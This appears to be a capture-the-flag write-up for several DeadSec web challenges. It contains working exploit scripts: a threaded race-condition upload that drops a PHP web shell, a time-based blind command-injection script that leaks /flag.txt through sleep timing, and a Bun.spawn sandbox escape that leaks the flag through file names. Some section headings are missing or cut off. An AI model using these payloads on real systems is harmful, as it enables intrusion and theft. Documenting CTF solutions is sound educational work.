<?php
session_start();
function is_malware($file_path)
{
$content = file_get_contents($file_path);
if (strpos($content, '<?php') !== false) {
return true;
}
return false;
}
function is_image($path, $ext)
{
// Define allowed extensions
$allowed_extensions = ['png', 'jpg', 'jpeg', 'gif'];
// Check if the extension is allowed
if (!in_array(strtolower($ext), $allowed_extensions)) {
return false;
}
// Check if the file is a valid image
$image_info = getimagesize($path);
if ($image_info === false) {
return false;
}
return true;
}
if (isset($_FILES) && !empty($_FILES)) {
$uploadpath = "tmp/";
$ext = pathinfo($_FILES["files"]["name"], PATHINFO_EXTENSION);
$filename = basename($_FILES["files"]["name"], "." . $ext);
$timestamp = time();
$new_name = $filename . '_' . $timestamp . '.' . $ext;
$upload_dir = $uploadpath . $new_name;
if ($_FILES['files']['size'] <= 10485760) {
move_uploaded_file($_FILES["files"]["tmp_name"], $upload_dir);
} else {
echo $error2 = "File size exceeds 10MB";
}
if (is_image($upload_dir, $ext) && !is_malware($upload_dir)){
$_SESSION['context'] = "Upload successful";
} else {
$_SESSION['context'] = "File is not a valid image or is potentially malicious";
}
echo $upload_dir;
unlink($upload_dir);
}
?>
From code above we can see that there is upload feature and we can upload anything to the server. The extension validation and is_malware validation doesnt affect anything in the upload process because it is only change the value of session context. The problem is our file will be deleted directly once we've uploaded it. But in this case we can trigger race condition by sending many request for upload and access the php at the same time because we know the filename (timestamp known). The file that we will access will put another backdoor that will not be deleted by the upload.php, so it will act like a dropper. The backdoor dropped will be base code to access custom function and parameter. Below is the code i used to trigger race condition by utilizing threading
import requests
from threading import Thread
import time
base_url = "https://b515a0c0722574e498521800.deadsec.quest/"
def brute():
x = 1
while True:
r = requests.get(f"{base_url}/tmp/tmp_{int(time.time())}.php")
if r.status_code != 404:
print(f'ACCESSED! -> {str(r.status_code)}')
else:
print(f'[{str(x)}] attempt -> {str(r.status_code)}')
# time tolerance
r = requests.get(f"{base_url}/tmp/tmp_{int(time.time()-1)}.php")
if r.status_code != 404:
print(f'ACCESSED! -> {str(r.status_code)}')
else:
print(f'[{str(x)}] attempt -> {str(r.status_code)}')
# time tolerance
r = requests.get(f"{base_url}/tmp/tmp_{int(time.time()+1)}.php")
if r.status_code != 404:
print(f'ACCESSED! -> {str(r.status_code)}')
else:
print(f'[{str(x)}] attempt -> {str(r.status_code)}')
x += 1
def upload():
while True:
resp = requests.post(
f"{base_url}/upload.php",
files={"files": ("tmp.php", b'<?php file_put_contents("lol.php", "<?=\$_GET[x](\$_GET[y]);?>");')},
)
Thread(target=upload).start()
Thread(target=upload).start()
Thread(target=upload).start()
Thread(target=upload).start()
Thread(target=upload).start()
Thread(target=brute).start()
Thread(target=brute).start()
Thread(target=brute).start()
We can see that there is 200 OK response, lets take a look on /tmp/ directory.
Now there is lol.php, lets call the system function using lol.php.
Our input will be passed to os.system function so we can do command injection on host parameter. Looking at dockerfile we know that the container is python:3.11-slim-buster and it use /bin/sh as the shell. Because we cannot see the output we can utilize time based blind command injection to leak the flag. In this case we use payload below
if [ "$(cat /flag.txt | cut -c {})" = "{}" ]; then sleep 5; fi
The first curly brace is the column number for the data that we want to leak
For example if flag.txt is DEAD, so cut -c 1 will be D
The second curly brace is the value that we want to validate, for example is D
if the first column value and validated value is same the sleep will be triggered
From my connection the sleep will be more than 7 is sleep 5 executed , so i use the different time is 7 to validate it. Below is my script for approach above
import requests
import time
import string
import tqdm
burp0_url = "https://37db8cd4ca2140c744c2b8bb.deadsec.quest/flag"
burp0_headers = {"Cache-Control": "max-age=0", "Sec-Ch-Ua": "\"Not/A)Brand\";v=\"8\", \"Chromium\";v=\"126\"", "Sec-Ch-Ua-Mobile": "?0", "Sec-Ch-Ua-Platform": "\"macOS\"", "Accept-Language": "en-US", "Upgrade-Insecure-Requests": "1", "Origin": "https://37db8cd4ca2140c744c2b8bb.deadsec.quest", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Referer": "https://37db8cd4ca2140c744c2b8bb.deadsec.quest/flag", "Accept-Encoding": "gzip, deflate, br", "Priority": "u=0, i"}
payload = '127.0.0.1; if [ "$(cat /flag.txt | cut -c {})" = "{}" ]; then sleep 5; fi'
burp0_data = {"host": ""}
flag = "DEAD{f93e7140-0d74-4130-9114-783f2c"
list_char = "}-" + string.printable[:-6]
while "}" not in flag:
for i in tqdm.tqdm(list_char):
tmp_payload = payload.format(len(flag) + 1, i)
burp0_data["host"] = tmp_payload
start = time.time()
resp = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
end = time.time()
if end-start > 7:
print(end-start)
flag += i
break
print(flag)
Flag: DEAD{f93e7140-0d74-4130-9114-783f2cd337e3}
Retro-calculator (220 pts)
Description
This is my first calculator ever, and it might have a 0day!!!
Solution
There is no source code for this challenge. But we can see that it seems like a calculator application. Lets try with input 1+1
My first assumption is the code will be executed on eval like function, lets try to trigger error on it.
From the error response we know that our input processed by javascript eval. Lets try to gather information from the server.
I’ve created a super secure sinkless buntime, is it really secure?
Solution
There is no source code given, the preview of the website looks like a interpreter for Bun. There are multiples WAF in the website, below are the WAF that i've found
Input WAF
Limited by length (maximum 50)
Output WAF
Cannot directly show output for most cases
Specific Function WAF
Most of Sync function are prohibited
Currently eval on Bun cannot execute await, so we need to find another way to do RCE. During the competition we can trigger the RCE using Bun.spawn but we cannot read any file. Although we can bypass the output WAF using throw exception but we still cannot pass the RCE from spawn to read from through exception. The fastest way to get flag that we've found is using approach below
Create shell script for program below
Read flag per character and write it to /tmp/
Execute the shell script and remove the shell script
Trigger directory listing and get the character shown in directory
Below is my solver for approach above
import requests
import time
import tqdm
flag = "DEAD{"
code = """#!/bin/sh
touch /tmp/$(cat /flag.txt|cut -c {})"""
diff = 4
url = 'https://3bc8e4d81741584134abdb88.deadsec.quest/run'
fmt = 'Bun.spawn(["sh","-c","printf \'{}\'>>/tmp/a"])'
while "}" not in flag:
arr = []
arr.append('Bun.spawn(["rm", "/tmp/a"])')
arr.append('Bun.spawn(["touch", "/tmp/a"])')
arr.append('Bun.spawn(["chmod", "+x", "/tmp/a"])')
tmp_code = code.format(len(flag)+1)
for i in range(0, len(tmp_code), diff):
payload = tmp_code[i:i+diff].replace('\n', r'\n')
payload = fmt.format(payload)
arr.append(f'{payload}')
arr.append('Bun.spawn(["/tmp/a"])')
arr.append('Bun.spawn(["rm", "/tmp/a"])')
for tmp in tqdm.tqdm(arr):
success = False
requests.post(url, json={"code": tmp})
leaked = "[...(new Bun.Glob('*').scanSync('/tmp/'))]"
r = requests.post(url, json={"code": leaked})
flag += r.json()["result"][0]
print(flag)
rmv = f'Bun.spawn(["rm", "/tmp/{flag[-1]}"])'
r = requests.post(url, json={"code": rmv})